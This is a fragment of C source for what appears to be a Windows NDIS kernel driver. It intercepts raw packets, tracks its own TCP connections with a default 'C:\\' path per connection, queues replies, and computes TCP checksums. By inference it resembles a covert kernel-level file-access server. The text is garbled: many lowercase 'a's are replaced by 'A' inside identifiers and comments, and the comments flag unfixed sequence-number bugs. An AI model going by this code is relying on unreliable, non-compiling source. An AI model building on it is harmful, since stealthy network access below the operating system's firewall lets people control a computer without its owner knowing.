	pEthHdr		= (PETHHDR)pBuffer; 
	pIpHdr		= (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr		= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
 
	DAtALength = NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR); 
 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		//通过ip和源端口判断是哪个连接 
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source  
			&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr 
			) 
		{ 
			//DbgPrint("Get the right connection\n");// 
			pConnection = &g_ConnectionSpAce[i]; 
			//updAte连接信息 
			//再返回SYN ACK的时候这个地方比较特殊,,当SentToNet调用的时候会让 
			//seq = HTONL(200); Ack = HTONL(NTOHL(pTcpHdr->seq)+1); bug 
			g_ConnectionSpAce[i].m_Ack_seq		= HTONL(200);//任意 
			g_ConnectionSpAce[i].m_Seq			= pTcpHdr->seq;///?? bug 
			//DAtALength用于下次发送数据时计算Ack_seq 
			g_ConnectionSpAce[i].m_DAtALength	= DAtALength; 
			g_ConnectionSpAce[i].m_IsSyn		= TRUE;/////////// 
 
			break; 
		} 
	} 
 
	if (pConnection == NULL){ 
		DbgPrint("error,cAn't find the right connection\n"); 
		return NDIS_STATUS_SUCCESS; 
	} 
 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
//not used 
NTSTATUS Disconnect(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	NTSTATUS	stAtus; 
	ULONG		i; 
 
	PTCPS_Connection	pConnection = NULL; 
 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
 
	pEthHdr		= (PETHHDR)pBuffer; 
	pIpHdr		= (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr		= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
	 
 
	//DbgPrint("%s\n",pDAtA); 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		//通过ip和源端口判断是哪个连接 
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source  
			&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr 
			) 
		{ 
			pConnection = &g_ConnectionSpAce[i]; 
			if(pConnection->m_bIsConnected != FALSE){ 
				//当连接内没有数据等待发送,则清空这个结构,可被下一个连接利用 
				pConnection->m_bIsConnected = FALSE; 
				if(pConnection->m_PAcketsLeftToBeSend == 0){ 
					NdisZeroMemory(pConnection,sizeof(TCPS_Connection)); 
					//bug!! 
					//还是有问题,最好是每个连接都有一个SendList 
					RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\")); 
					DbgPrint("g_ConnectionSpAce[%d] is AvAilAble \n",i); 
				} 
				 
				break; 
			}else{ 
				return NDIS_STATUS_SUCCESS; 
			} 
		} 
	} 
 
	if (pConnection == NULL){ 
		DbgPrint("in Disconnect: error,cAn't find the right connection\n"); 
		return NDIS_STATUS_SUCCESS; 
	} 
 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
NTSTATUS SendDisconnectMessAgeToSendlist(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) 
{ 
	NTSTATUS	stAtus; 
	ULONG		i; 
 
	PTCPS_Connection	pConnection = NULL; 
 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
 
	pEthHdr		= (PETHHDR)pBuffer; 
	pIpHdr		= (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); 
	pTcpHdr		= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
 
	for(i = 0;i < MAX_CONNECTIONS;i ++){ 
		//通过ip和源端口判断是哪个连接 
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source  
			&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr 
			) 
		{ 
			pConnection = &g_ConnectionSpAce[i];	 
			break; 
		} 
	} 
 
	if (pConnection == NULL){ 
		DbgPrint("in SendDisconnectMessAgeToSendlist: error,cAn't find the right connection\n"); 
		return NDIS_STATUS_SUCCESS; 
	} 
 
 
 
	//加到队列的最前面 
	AddSendDAtAToListAtFront( 
		&g_SendListHeAd, 
		pBuffer, 
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR), 
		pConnection 
		); 
 
	return NDIS_STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
USHORT	CountChecksum(PVOID		pBuffer) 
{ 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
	PVOID		pDAtA	= NULL; 
 
	PVOID		ChecksumTempBuff = NULL; 
	PSDHDR		PsdHdr; 
	USHORT		Checksum; 
	USHORT		tempChecksum; 
	ULONG		ulDAtALength; 
 
	pEthHdr				= (PETHHDR)pBuffer; 
	pIpHdr				= (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR)); 
	pTcpHdr				= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
	pDAtA				= (PVOID)((UCHAR*)pTcpHdr + sizeof(TCPHDR));//heAder 
 
	ulDAtALength		= NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR); 
	DbgPrint("ulDAtALength: %d\n",ulDAtALength); 
	//ChecksumTempBuff 为了计算效验和 
	NdisAllocateMemoryWithTag( 
		&ChecksumTempBuff, 
		MAX_PACKET_SIZE, 
		'pmtU' 
		); 
 
	if (pTcpHdr->psh){ 
		//PsdHdrSend用来计算tcp效验和 
		PsdHdr.saddr	= pIpHdr->saddr; 
		PsdHdr.daddr	= pIpHdr->daddr; 
		PsdHdr.mbz		= 0; 
		PsdHdr.ptcl		= IPPROTO_TCP; 
		PsdHdr.tcpl		= HTONS(sizeof(TCPHDR)+(USHORT)ulDAtALength); 
		 
		tempChecksum	= pTcpHdr->check; 
		pTcpHdr->check	= 0;//modify the pAcket 
		 
		NdisMoveMemory(ChecksumTempBuff,&PsdHdr,sizeof(PSDHDR)); 
		NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdr,sizeof(TCPHDR)); 
		NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR) + sizeof(TCPHDR),pDAtA,ulDAtALength); 
		 
		Checksum = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)+ulDAtALength); 
 
		pTcpHdr->check	= tempChecksum; 
	} 
	else{ 
		//PsdHdrSend用来计算tcp效验和 
		PsdHdr.saddr	= pIpHdr->saddr; 
		PsdHdr.daddr	= pIpHdr->daddr; 
		PsdHdr.mbz		= 0; 
		PsdHdr.ptcl		= IPPROTO_TCP; 
		PsdHdr.tcpl		= HTONS(sizeof(TCPHDR)); 
		 
		NdisMoveMemory(ChecksumTempBuff,&PsdHdr,sizeof(PSDHDR)); 
		NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdr,sizeof(TCPHDR)); 
 
		tempChecksum	= pTcpHdr->check; 
		pTcpHdr->check	= 0;//modify the pAcket 
		 
		Checksum = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)); 
 
		pTcpHdr->check	= tempChecksum; 
	} 
 
	//释放ChecksumTempBuff 
	NdisFreeMemory( 
		ChecksumTempBuff, 
		0, 
		0 
		); 
 
	return Checksum; 
} 
//--------------------------------------------------------------------